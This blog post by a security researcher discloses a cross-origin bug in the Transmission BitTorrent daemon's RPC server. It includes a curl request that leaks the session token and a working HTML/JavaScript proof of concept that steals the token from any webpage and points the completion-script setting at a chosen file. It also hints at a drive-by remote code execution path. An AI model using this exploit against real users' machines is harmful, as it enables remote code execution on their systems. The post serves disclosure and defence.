Joshua Rogers' Scribbles

RCE (kind of) in Transmission BitTorrent's daemon

If you run transmission-daemon, the somewhat popular (in small circles) Torrent client, any website you visit can talk to it, and execute arbitrary scripts/programs on your system. Oops! The GTK and Qt GUI apps share the same bug, but they don’t enable the functionality that is required to hit this bug (by default, at least).

I think attacking Torrent clients (and servers!) is really interesting. You see, if I were a hired hacker/gun for Epstein for the Anti-Piracy industry, I’d be exploiting this ASAP and reaping the rewards. There’s also some cool prior art for messing with pirates at scale. Last year, someone bought the lapsed domain behind a long-dead tracker, pointed opentracker at it, and had around three million peers announcing to him within the hour. Popping a shell on those peers would certainly be.. fun.

Anyways, the Transmission bug is kind of funny, because any webpage can just read the RPC session token out of a cross-origin response to the local HTTP service (aka: it can be read from any origin) and then subsequently issue authenticated commands as you. Luckily enough, that includes changing Transmission configurations such as download-dir and script-torrent-done-filename (the latter which .. executes an arbitrary location’s executable the instant a torrent with metadata is even accepted (no download needed)).

In 2018, Tavis Ormandy reported that a DNS rebinding attack could allow malicious websites to bypass transmission’s RPC protections and execute arbitrary commands, just like this. That was patched by requiring that the hostname of the request be localhost (or an IP address). That meant that a browser, unless it was really accessing http://localhost/, would not expose the RPC session token (ID); any such attempt would fail the CORS check.

Then, in late 2021, a PR was merged that “added primitive CORS header support”. That included setting Access-Control-Allow-Origin: * on responses, explicitly exposing the X-Transmission-Session-Id header with Access-Control-Expose-Headers, and allowing any and all cross-origin requests to send arbitrary headers through CORS preflight handling. In other words, the server would happily hand out its CSRF protection token to any website that asked for it, and then let that same website use the token to make authenticated RPC requests. Oops!

I reported this bug to security@transmissionbt.com on 7 May 2026, but received no response. Looks like it has been fixed in PR 8938 in late June, but that hasn’t actually landed in any released version as far as I can tell.

Below, I detail some interesting things I discovered while trying to create an actual exploit for this bug.


The Transmission daemon exposes JSON-RPC at /transmission/rpc. By default: RPC is on, password auth is off, the IP whitelist covers 127.0.0.1,::1, and the host whitelist is on. There’s nothing between a request to the endpoint and an executed command except:

  • IP whitelist: checks the TCP peer address, loopback only by default;
  • host whitelist: rejects Host headers that are unrecognised DNS names (i.e. not localhost or 127.0.0.1)
  • session-id: the 409 Conflict dance, an anti-CSRF control.

The session-id exists due to Tavis’ bug that demonstrated any website could DNS-rebind to a victim’s Transmission, set script-torrent-done-filename over RPC, and achieve arbitrary code execution. The fix then was the host whitelist to stop the rebinding vector, and the X-Transmission-Session-Id token being necessary for any executed command, so a cross-origin attacker can’t forge a valid POST without first reading a value it shouldn’t be able to read (i.e. pass/fail CORS first).

So, the whole thing rests on one assumption: a random website cannot read Transmission’s responses because of CORS; and a browser’s same-origin policy is supposed to guarantee that.

Guess what got turned off in 2021.

The "Aaand it's gone" South Park banker meme, captioned ANNNND / IT'S GONE

Looking at libtransmission/rpc-server.cc, in handle_request(), unconditionally, after the IP-whitelist check and before anything else:

evhttp_add_header(output_headers, "Access-Control-Allow-Origin", "*");

We can demonstrate the whole issue with a simple curl request, hitting the RPC endpoint:

$ curl -s -i -X POST http://127.0.0.1:9091/transmission/rpc \
    -H 'Origin: https://evil.example' \
    --data '{"method":"session-get"}'
HTTP/1.1 409 Conflict
Server: Transmission
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
Access-Control-Allow-Origin: *
X-Transmission-Session-Id: OrCdJDOwv1GNeyhTd1fdDnwGUzFEdI1QCy7smY458Jmh9h1j
X-Transmission-Rpc-Version: 6.1.0
Access-Control-Expose-Headers: X-Transmission-Session-Id, X-Transmission-Rpc-Version
Content-Type: text/html; charset=ISO-8859-1

<h1>409: Conflict</h1><p>Your request had an invalid session_id header.</p>
...
<p><code>X-Transmission-Session-Id: OrCdJDOwv1GNeyhTd1fdDnwGUzFEdI1QCy7smY458Jmh9h1j</code></p>

So despite the lack of Session-Id, the endpoint leaks the .. Session-Id.

So, we can steal the token from the 409, and replay it, setting a script-torrent-done-filename:

<!doctype html>
<meta charset="utf-8">
<script>
const RPC = "http://127.0.0.1:9091/transmission/rpc";

async function run() {
  // 1. No session id -> 409. Thanks to ACAO:* and Expose-Headers we can
  //    read the token straight off a cross-origin response.
  let r = await fetch(RPC, { method: "POST", body: "{}" });
  const sid = r.headers.get("X-Transmission-Session-Id");

  // 2. Replay the token. Cross-origin, no cookies, no password.
  r = await fetch(RPC, {
    method: "POST",
    headers: { "X-Transmission-Session-Id": sid, "Content-Type": "application/json" },
    body: JSON.stringify({
      method: "session-set",
      arguments: {
        "script-torrent-done-enabled": true,
        "script-torrent-done-filename": "/home/user/.config/transmission-daemon/x.sh"
      }
    })
  });
  document.body.textContent = await r.text();
}
run();
</script>

The problem now is that great, we can get execution of arbitrary files. But.. how about complete arbitrary code?

Unfortunately, I couldn’t get totally arbitrary code execution to work. The typical bash -c 'cmd', ${IFS}, and other tricks, don’t work, and anything relying on word-splitting fails. The C code is literally cmd = { script.c_str(), nullptr }; execvp(cmd[0], cmd), so spaces are literal, unfortunately.

If you can land an executable somewhere the daemon can reach (say, in a .. downloaded torrent?), you could turn this into a pure drive-by RCE. Exercise left to the reader, I suppose.